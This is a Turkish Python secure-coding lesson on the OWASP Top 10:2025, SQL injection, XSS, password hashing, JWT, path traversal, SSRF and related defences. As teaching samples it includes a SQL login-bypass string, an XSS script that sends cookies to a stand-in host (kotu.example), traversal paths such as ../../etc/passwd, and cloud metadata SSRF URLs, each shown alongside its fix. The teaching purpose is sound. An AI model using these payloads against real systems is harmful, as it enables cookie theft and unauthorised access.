Neden önemli?
Ilgaz Bank'ın internet şubesinde tek bir parametresiz SQL sorgusu, saldırganın tüm müşteri tablosunu okumasına yeter. Anadolu Market'in yorum alanında kaçırılmamış tek bir HTML çıktısı, başka müşterilerin oturum çerezlerini çalan bir betiğe dönüşebilir. Güvenlik "sonra bakarız" denilecek bir katman değildir; her fonksiyonda verdiğin küçük kararların toplamıdır. Bu derste saldırıyı önce kendi gözünle görecek (sqlite3 ve saf Python ile, tamamen yerel ve zararsız), sonra doğru kalıpla kapatacaksın.
OWASP Top 10: haritayı tanı
OWASP (Open Worldwide Application Security Project), web uygulamalarında en sık ve en zararlı açık kategorilerini düzenli olarak yayımlar. Aşağıdaki tablo OWASP Top 10:2025 listesini özetler (Kasım 2026'da owasp.org/Top10/2025 sayfasından okundu; Türkçe adlar bizim çevirimiz). 2021 listesine göre iki yeni başlık var: A03 tedarik zinciri, A06:2021 "Açıklı ve eski bileşenler" başlığını genişletir; A10 ise tümüyle yenidir. SSRF ayrı başlık olmaktan çıkıp A01 içine alındı. Sıralama da değişti: yanlış yapılandırma 5.'den 2.'ye çıktı, enjeksiyon 3.'den 5.'ye indi. Eski bir rapor ya da sınav sorusu 2021 numaralarını kullanıyorsa kodun yanındaki yılı oku.
| Kod | Kategori | Python'da tipik örnek | Temel savunma |
|---|---|---|---|
| A01 | Bozuk erişim kontrolü (SSRF dahil) | /hesap/42 adresinde sahiplik kontrolü yok; kullanıcının verdiği URL'ye sunucudan istek | Her istekte "bu kayıt bu kullanıcının mı?"; hedef izin listesi |
| A02 | Güvenlik yanlış yapılandırması | Üretimde DEBUG=True | Güvenli varsayılan, denetim listesi |
| A03 | Yazılım tedarik zinciri hataları | Yıllardır güncellenmemiş ya da doğrulanmadan eklenmiş paket | pip-audit, sürüm sabitleme, güvenilir kaynak |
| A04 | Kriptografik hatalar | Parolayı MD5 ya da düz metin saklamak | PBKDF2/bcrypt/argon2, TLS |
| A05 | Enjeksiyon (SQL, komut, XSS) | f-string ile SQL, shell=True | Parametre, kaçış, izin listesi |
| A06 | Güvensiz tasarım | Sınırsız deneme hakkı olan şifre sıfırlama | Tehdit modelleme, oran sınırı |
| A07 | Kimlik doğrulama hataları | Zayıf parola, tahmin edilebilir token | secrets, MFA, kilitleme |
| A08 | Yazılım ya da veri bütünlüğü hataları | Güvenilmeyen veriyi pickle.loads | JSON, imza doğrulama |
| A09 | Güvenlik günlüğü ve alarm hataları | Başarısız girişler loglanmıyor ya da kimse uyarı almıyor | Yapılandırılmış log, alarm |
| A10 | İstisnai durumların yanlış ele alınması | Yetki servisi hata verince except: pass ile isteği geçirmek; yığın izini kullanıcıya göstermek | Hata durumunda reddet (fail closed), dar except, merkezi hata işleme |
SQL enjeksiyonu: görmek ve kapatmak
Kullanıcı girdisini SQL metnine yapıştırdığında, girdi veri olmaktan çıkıp kod olur. Aşağıda giriş formu taklidi var; parolayı bilmeden içeri giriliyor.
import sqlite3
db = sqlite3.connect(":memory:")
db.execute("CREATE TABLE kullanici (ad TEXT, parola TEXT)")
db.execute("INSERT INTO kullanici VALUES ('ayse', 'Gizli!123')")
def giris_acikli(ad, parola):
sql = f"SELECT COUNT(*) FROM kullanici WHERE ad = '{ad}' AND parola = '{parola}'"
print("Çalışan SQL:", sql)
return db.execute(sql).fetchone()[0] > 0
def giris_guvenli(ad, parola):
sql = "SELECT COUNT(*) FROM kullanici WHERE ad = ? AND parola = ?"
return db.execute(sql, (ad, parola)).fetchone()[0] > 0
saldiri = "' OR '1'='1"
print("Açıklı :", giris_acikli("ayse", saldiri))
print("Güvenli:", giris_guvenli("ayse", saldiri))
Parametreli sorguda (? ya da %s) değer sürücüye SQL metninden ayrı gider; içinde tırnak olsa bile hiçbir zaman kod olarak yorumlanmaz. Parametre yalnız değerler için çalışır; tablo ya da sütun adı (ör. kullanıcının seçtiği sıralama alanı) dinamikse onu bir izin listesiyle (allowlist) doğrularsın. ORM'ler (SQLAlchemy, Django) varsayılan olarak parametre kullanır; text() ya da raw() içinde f-string yazdığın anda bu koruma biter. Aynı ilke işletim sistemi komutları için de geçerlidir: subprocess.run(["ping", host]) liste biçiminde güvenlidir, shell=True ile metin vermek komut enjeksiyonuna kapı açar.
XSS ve HTML kaçışı
Siteler arası betik çalıştırma (Cross-Site Scripting, XSS), kullanıcı verisinin HTML'e kaçırılmadan basılmasıyla olur. Tarayıcı, yorum alanına yazılmış <script> etiketini sayfanın kodu sanar ve çalıştırır.
import html
from jinja2 import Environment
yorum = '<script>fetch("https://kotu.example/?c=" + document.cookie)</script>'
print("Kaçışsız :", "<p>" + yorum + "</p>")
print("Kaçışlı :", "<p>" + html.escape(yorum) + "</p>")
env = Environment(autoescape=True)
sablon = env.from_string("<p>{{ ad }} yorum yaptı: {{ yorum }}</p>")
print(sablon.render(ad="Ayşe", yorum=yorum))
| Karakter | Kaçış | Neden |
|---|---|---|
< > | < > | Etiket açılmasın |
& | & | Varlık (entity) karışmasın |
" ' | " ' | Öznitelik değerinden taşmasın |
Jinja2'de autoescape=True (Flask'ta varsayılan açık), Django şablonlarında otomatik kaçış varsayılandır. Kaçışı |safe ya da Markup() ile kapatmak, "bu veriye güveniyorum" demektir; kullanıcı verisi için asla yapma. Ek savunma katmanı olarak Content-Security-Policy (CSP) başlığı ve çerezlerde HttpOnly kullanılır.
Parola saklama: özet, tuz, sabit zamanlı karşılaştırma
Parola asla düz metin ya da şifrelenmiş (geri çözülebilir) saklanmaz; yavaş, tuzlu bir özet (hash) saklanır. Tuz (salt) her kullanıcı için rastgele üretilir; aynı parolaya sahip iki kullanıcının özetleri farklı olur ve önceden hesaplanmış tablolar işe yaramaz. Yinelemeli (iterated) özet, her tahmini saldırgan için pahalı kılar. MD5 ve tek tur SHA-256 parola için uygun değildir, çünkü çok hızlıdır.
import hashlib, hmac, secrets
TUR = 100_000 # gerçekte sha256 için 600 bin civarı önerilir
def parola_ozetle(parola: str) -> str:
tuz = secrets.token_bytes(16)
ozet = hashlib.pbkdf2_hmac("sha256", parola.encode(), tuz, TUR)
return "$".join(["pbkdf2_sha256", str(TUR), tuz.hex(), ozet.hex()])
def parola_dogrula(parola: str, kayit: str) -> bool:
_, tur, tuz_hex, ozet_hex = kayit.split("$")
aday = hashlib.pbkdf2_hmac("sha256", parola.encode(), bytes.fromhex(tuz_hex), int(tur))
return hmac.compare_digest(aday.hex(), ozet_hex)
k1, k2 = parola_ozetle("Anadolu2025!"), parola_ozetle("Anadolu2025!")
print(k1[:40] + "...")
print("Aynı parola, farklı özet:", k1 != k2)
print(parola_dogrula("Anadolu2025!", k1), parola_dogrula("anadolu2025!", k1))
hmac.compare_digest iki değeri sabit zamanda karşılaştırır. Normal == ilk farklı karakterde durur; süre farkını ölçen bir saldırgan doğru öneki karakter karakter tahmin edebilir (zamanlama saldırısı). secrets modülü kriptografik olarak güvenli rastgelelik verir; token, tuz, sıfırlama kodu için random kullanılmaz, çünkü random tahmin edilebilir.
# Kendi bilgisayarında: pip install argon2-cffi bcrypt
from argon2 import PasswordHasher
ph = PasswordHasher()
kayit = ph.hash("Anadolu2025!") # tuz ve parametreler kaydın içinde
ph.verify(kayit, "Anadolu2025!") # yanlışsa VerifyMismatchError
import bcrypt
kayit = bcrypt.hashpw(b"Anadolu2025!", bcrypt.gensalt(rounds=12))
bcrypt.checkpw(b"Anadolu2025!", kayit)
Yeni projede argon2id ya da bcrypt tercih edilir; Django varsayılan olarak PBKDF2 kullanır ve argon2'ye geçmeyi destekler. Standart kütüphaneyle kalman gerekirse pbkdf2_hmac doğru seçimdir.
İmzalı token ve JWT
JWT (JSON Web Token) üç parçadır: başlık.yük.imza; ilk ikisi base64url ile kodlanmış JSON'dur. Yük şifreli değildir, herkes okuyabilir; güvenliği imzadan gelir: sunucu, gizli anahtarla HMAC-SHA256 imzası hesaplar ve gelen token'daki imzayla karşılaştırır. Yükte parola, TC kimlik no gibi gizli veri taşınmaz; exp (son kullanma) alanı mutlaka kontrol edilir.
import base64, hashlib, hmac, json
def b64(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
ANAHTAR = b"ortam-degiskeninden-gelen-uzun-rastgele-anahtar"
baslik = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
yuk = b64(json.dumps({"sub": "M-101", "rol": "musteri", "exp": 1767225600}).encode())
imza = b64(hmac.new(ANAHTAR, f"{baslik}.{yuk}".encode(), hashlib.sha256).digest())
token = f"{baslik}.{yuk}.{imza}"
print(token[:60] + "...")
# Yük herkes tarafından okunabilir:
print(json.loads(base64.urlsafe_b64decode(yuk + "==")))
Gerçek projede PyJWT kullan (jwt.encode, jwt.decode(token, anahtar, algorithms=["HS256"])). algorithms listesini her zaman açıkça ver; "alg: none" kabul eden doğrulayıcılar tarihin klasik açıklarındandır.
CSRF ve girdi doğrulama
Siteler arası istek sahteciliği (Cross-Site Request Forgery, CSRF), kullanıcı bankada oturum açıkken başka bir sitenin onun tarayıcısına gizlice "havale yap" formu göndertmesidir. Tarayıcı çerezi otomatik eklediği için sunucu isteği meşru sanar. Savunma: durum değiştiren her istek POST/PUT/DELETE olur, formda sunucunun ürettiği ve oturuma bağlı bir CSRF token bulunur, çerezler SameSite=Lax ya da Strict işaretlenir. Django bunu varsayılan yapar, Flask'ta Flask-WTF eklenir. Yalnız Authorization başlığıyla token taşıyan API'ler CSRF'ten büyük ölçüde etkilenmez.
Girdi doğrulamada kural: izin listesi, yasak listesinden iyidir. "Kötü karakterleri temizlemeye" çalışmak yerine neyin geçerli olduğunu tanımla (uzunluk, karakter kümesi, aralık, biçim) ve geri kalan her şeyi reddet. Pydantic dersinde gördüğün şema doğrulaması bunun en temiz yoludur. Doğrulama sunucuda yapılır; tarayıcıdaki doğrulama yalnız kullanıcı deneyimidir.
Yol geçişi (path traversal)
"Rapor indir" uç noktası dosya adını kullanıcıdan alıyorsa, ../../etc/passwd gibi bir ad kök klasörün dışına çıkar. Doğru savunma: yolu birleştir, resolve() ile gerçek yola çevir ve kök klasörün içinde kaldığını is_relative_to ile kontrol et. Metin olarak startswith kontrolü yetmez: /srv/raporlar_gizli, /srv/raporlar ile başlar.
from pathlib import Path
KOK = Path("/srv/raporlar").resolve()
def guvenli_yol(ad: str) -> Path:
yol = (KOK / ad).resolve()
if not yol.is_relative_to(KOK):
raise PermissionError(f"izin verilmeyen yol: {ad}")
return yol
for ad in ["2025/ocak.csv", "../../etc/passwd", "/etc/shadow", "../raporlar_gizli/x.csv"]:
try:
print("OK ", guvenli_yol(ad))
except PermissionError as e:
print("RED ", e)
eval, pickle ve yaml.load: kodu veriyle karıştırma
eval/exec verilen metni kod olarak çalıştırır; kullanıcıdan gelen "formül" ile sunucunda istediği komutu çalıştırabilir. pickle.loads güvenilmeyen veride keyfi kod çalıştırabilir, çünkü pickle nesne kurarken çağrılacak fonksiyonu verinin içinde taşıyabilir. yaml.load da tam yükleyiciyle Python nesnesi kurabilir.
import ast, json, yaml
print(ast.literal_eval("[1, 2, {'a': 3}]")) # yalnız sabit değerler
try:
ast.literal_eval("__import__('os').getcwd()")
except ValueError as e:
print("literal_eval reddetti:", type(e).__name__)
metin = "sunucu: anadolu\nport: 8080\netiketler: [web, api]"
print(yaml.safe_load(metin))
try:
yaml.safe_load("!!python/object/apply:os.getcwd []")
except yaml.YAMLError as e:
print("safe_load reddetti:", type(e).__name__)
print(json.loads('{"tutar": 150.5}')) # veri alışverişinde JSON
| Tehlikeli | Güvenli alternatif |
|---|---|
eval(girdi) | ast.literal_eval, ya da ast ile sınırlı ifade değerlendirici |
pickle.loads(dis_veri) | json; pickle yalnız kendi ürettiğin ve imzaladığın veride |
yaml.load(metin) | yaml.safe_load(metin) |
subprocess.run(metin, shell=True) | subprocess.run(["komut", arg]) |
random.choice ile token | secrets.token_urlsafe(32) |
Bağımlılıklar ve gizli bilgiler
pip install pip-audit bandit pip-audit -r requirements.txt # bilinen açıkları (CVE) listeler bandit -r src/ # kodda eval, shell=True, zayıf hash gibi kalıpları arar pip install --require-hashes -r requirements.txt # paket bütünlüğü
Gizli bilgi (API anahtarı, veritabanı parolası, JWT anahtarı) koda ve git'e girmez: ortam değişkeni ya da bir gizli yönetici (Vault, bulut secret manager) kullanılır; .env dosyası .gitignore'a eklenir. Git geçmişine bir kez giren anahtar silinse bile geçmişte kalır; yapılacak şey anahtarı iptal edip yenisini üretmektir. Loglara parola, token, kart numarası yazılmaz; yazılacaksa maskelenir. Hata mesajları kullanıcıya iç ayrıntı (SQL, yığın izi) göstermez.
KVKK: kişisel veriyi korumak
6698 sayılı Kişisel Verilerin Korunması Kanunu (KVKK), kişisel veriyi işleyen her kurumu bağlar. Geliştirici olarak sorumluluğun: veri minimizasyonu (ihtiyacın olmayan alanı toplama), maskeleme (ekranda ve logda 123******01), takma adlandırma (pseudonymization: kimliği anahtarlı bir özetle değiştirmek; anahtar olmadan geri dönülemez ama aynı kişi aynı takma adı alır) ve anonimleştirme (kişiyi hiçbir şekilde tanımlanamaz hale getirmek: adı silmek, yaşı aralığa, adresi il düzeyine indirmek). Analiz ve test ortamına üretim verisi bu işlemlerden geçmeden kopyalanmaz.
import hmac, hashlib
ANAHTAR = b"kvkk-takma-ad-anahtari"
def maskele_tc(tc: str) -> str:
return tc[:3] + "*" * 6 + tc[-2:]
def maskele_eposta(e: str) -> str:
ad, alan = e.split("@")
return ad[0] + "***@" + alan
def takma_ad(tc: str) -> str:
return "K-" + hmac.new(ANAHTAR, tc.encode(), hashlib.sha256).hexdigest()[:10]
def yas_araligi(yas: int) -> str:
alt = yas // 10 * 10
return f"{alt}-{alt + 9}"
kayit = {"ad": "Ayşe Kaya", "tc": "12345678901", "eposta": "ayse.kaya@example.com", "yas": 34, "il": "İzmir"}
print("Maskeli :", maskele_tc(kayit["tc"]), maskele_eposta(kayit["eposta"]))
print("Analiz :", {"kisi": takma_ad(kayit["tc"]), "yas": yas_araligi(kayit["yas"]), "il": kayit["il"]})
print("Aynı kişi aynı takma ad:", takma_ad("12345678901") == takma_ad("12345678901"))
|safe var mı, parola nasıl saklanıyor, endpoint sahiplik kontrolü yapıyor mu, log'a kişisel veri gidiyor mu. CI hattında bandit, pip-audit ve gitleaks gibi araçlar her PR'da çalışır; yüksek önem dereceli bulgu birleştirmeyi durdurur. Sızma testi (penetration test) yılda en az bir kez ve büyük sürümlerden önce yapılır.Derste OWASP haritasını, enjeksiyonu, XSS'i ve parola saklamayı gördün; güvenlik başlıklarına ve SSRF'ye yalnız adıyla değindik. Bu bölüm dört konuyu uygulamaya döküyor: tarayıcıya "nasıl davran" diyen güvenlik başlıkları, sunucunu saldırganın vekiline çeviren SSRF, oturum çerezinin çalınmadan ele geçirildiği oturum sabitleme ve bağımlılık taramasının CI'a bağlanması.
Güvenlik başlıkları
Her HTTP yanıtına eklenen birkaç başlık, kodda bir hata olsa bile saldırının etkisini sınırlar (derinlemesine savunma).
| Başlık | Örnek değer | Neyi önler? |
|---|---|---|
Content-Security-Policy | default-src 'self'; script-src 'self'; frame-ancestors 'none' | XSS: yalnız izinli kaynaklardan betik çalışır, satır içi betik engellenir |
Strict-Transport-Security | max-age=31536000; includeSubDomains | HTTPS'ten HTTP'ye düşürme (SSL stripping) |
X-Frame-Options | DENY | Tıklama hırsızlığı (clickjacking): sayfanın başka sitede iframe içinde açılması |
X-Content-Type-Options | nosniff | Tarayıcının dosya türünü tahmin edip metni betik olarak çalıştırması |
Referrer-Policy | strict-origin-when-cross-origin | URL'deki token ve parametrelerin başka sitelere sızması |
Set-Cookie bayrakları | Secure; HttpOnly; SameSite=Lax | Çerezin HTTP'den gitmesi, JavaScript ile okunması, CSRF |
# Flask: her yanıta başlık ekleyen kanca
@app.after_request
def guvenlik_basliklari(yanit):
yanit.headers["Content-Security-Policy"] = "default-src 'self'; frame-ancestors 'none'"
yanit.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
yanit.headers["X-Content-Type-Options"] = "nosniff"
yanit.headers["X-Frame-Options"] = "DENY"
yanit.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
return yanit
# Django: SECURE_HSTS_SECONDS, SECURE_CONTENT_TYPE_NOSNIFF, X_FRAME_OPTIONS ayarları; CSP için django-csp
CSP'yi doğrudan zorlamak eski sayfaları bozabilir; önce Content-Security-Policy-Report-Only ile yalnız raporla, ihlalleri topla, sonra zorla. 'unsafe-inline' ve 'unsafe-eval' CSP'nin XSS korumasını büyük ölçüde boşa çıkarır. HSTS'i ilk kez açarken max-age'i küçük başlat; tarayıcı bu süre boyunca siteye HTTP ile hiç bağlanmaz.
SSRF: sunucunu vekil yapmak
Sunucu tarafı istek sahteciliği (Server-Side Request Forgery), kullanıcının verdiği bir URL'ye sunucunun istek atmasıyla ortaya çıkar: "ürün görselini şu adresten içe aktar", "webhook adresin", "PDF'e çevrilecek sayfa". Saldırgan dış adres yerine http://169.254.169.254/ (bulut sağlayıcının meta veri servisi, geçici kimlik bilgileri burada), http://localhost:6379 (Redis) ya da http://10.0.0.5/admin gibi yalnız iç ağdan erişilebilen adresleri verir. İstek senin sunucundan çıktığı için güvenlik duvarı onu içeriden sayar.
import ipaddress, socket
from urllib.parse import urlsplit
def guvenli_mi(url, cozumle=socket.gethostbyname):
parca = urlsplit(url)
if parca.scheme not in ("http", "https") or not parca.hostname:
return False
try:
ip = ipaddress.ip_address(cozumle(parca.hostname))
except (OSError, ValueError):
return False
return ip.is_global # özel, döngü, bağlantı-yerel, ayrılmış adresler False
sahte_dns = {"cdn.anadolu.example": "93.184.216.34", "ic.example": "10.0.0.5"}.get
for u in ["https://cdn.anadolu.example/a.png", "http://169.254.169.254/latest/meta-data/",
"http://ic.example/admin", "file:///etc/passwd", "http://127.0.0.1:6379/"]:
print(guvenli_mi(u, lambda h: sahte_dns(h) or h), u)
Kural listesi: yalnız http/https; adı DNS ile çözüp IP'yi denetle (ad kontrolü yetmez, ic.example iç IP'ye çözülebilir); mümkünse alan adı izin listesi kullan; yönlendirmeleri (redirect) kapat ya da her adımı yeniden denetle; denetlediğin IP'ye bağlan (DNS yeniden bağlama, DNS rebinding saldırısında ad ikinci sorguda başka IP'ye çözülür); yanıt boyutu ve süresi için sınır koy. Bulutta meta veri servisi için IMDSv2 gibi token zorunlu sürümleri aç.
Oturum sabitleme (session fixation)
Saldırgan önce siteden kendi oturum kimliğini alır, sonra kurbanın tarayıcısına bu kimliği yerleştirir (URL parametresi, alt alan adından çerez). Kurban giriş yaptığında sunucu aynı kimliği yetkili yapar; saldırgan da elindeki kimlikle kurbanın hesabına girer. Çare basittir: yetki düzeyi değiştiğinde (giriş, yetki yükseltme) oturum kimliğini yenile, eski kimliği geçersiz kıl; çıkışta oturumu sunucu tarafında sil. Django login() bunu kendiliğinden yapar (cycle_key); Flask'ta sunucu taraflı oturumda kimliği elle yenilemen gerekir. Ayrıca oturum kimliğini asla URL'de taşıma ve çerezlerde HttpOnly, Secure, SameSite kullan.
Bağımlılık taraması CI'da
pip-audit kurulu paketleri bilinen açık veritabanına (PyPI Advisory, OSV) karşı tarar. kalite-ci dersindeki iş akışına bir adım olarak eklenir; açık bulunursa iş kırmızı olur. Dependabot ya da Renovate, güncellemeleri otomatik PR olarak açar.
- name: Bağımlılık taraması
run: |
pip install pip-audit
pip-audit -r requirements.txt --strict --desc
Tehdit modelleme
Kod yazmadan önce sor: varlıklarımız neler (müşteri verisi, para transferi), kim saldırabilir, hangi giriş noktaları var, en kötü senaryo ne? STRIDE (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege) her bileşen için bir kontrol listesi verir.
Derinlemesine savunma
Tek önleme güvenme. Parametreli sorgu + en az yetkili veritabanı kullanıcısı + WAF + izleme. Güvenlik başlıkları (Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options: nosniff), oturum çerezlerinde Secure; HttpOnly; SameSite, giriş ve şifre sıfırlamada oran sınırlama (rate limiting) ve hesap kilitleme, yetki kontrollerinde "varsayılan reddet".
Kriptografiyi kendin icat etme
Kendi şifreleme algoritmanı yazma; cryptography paketinin yüksek seviyeli Fernet API'si gibi denetlenmiş araçları kullan. Bu derste HMAC ile imza yazmamızın amacı mekanizmayı anlamaktır; üretimde PyJWT, itsdangerous gibi olgun kütüphaneler tercih edilir.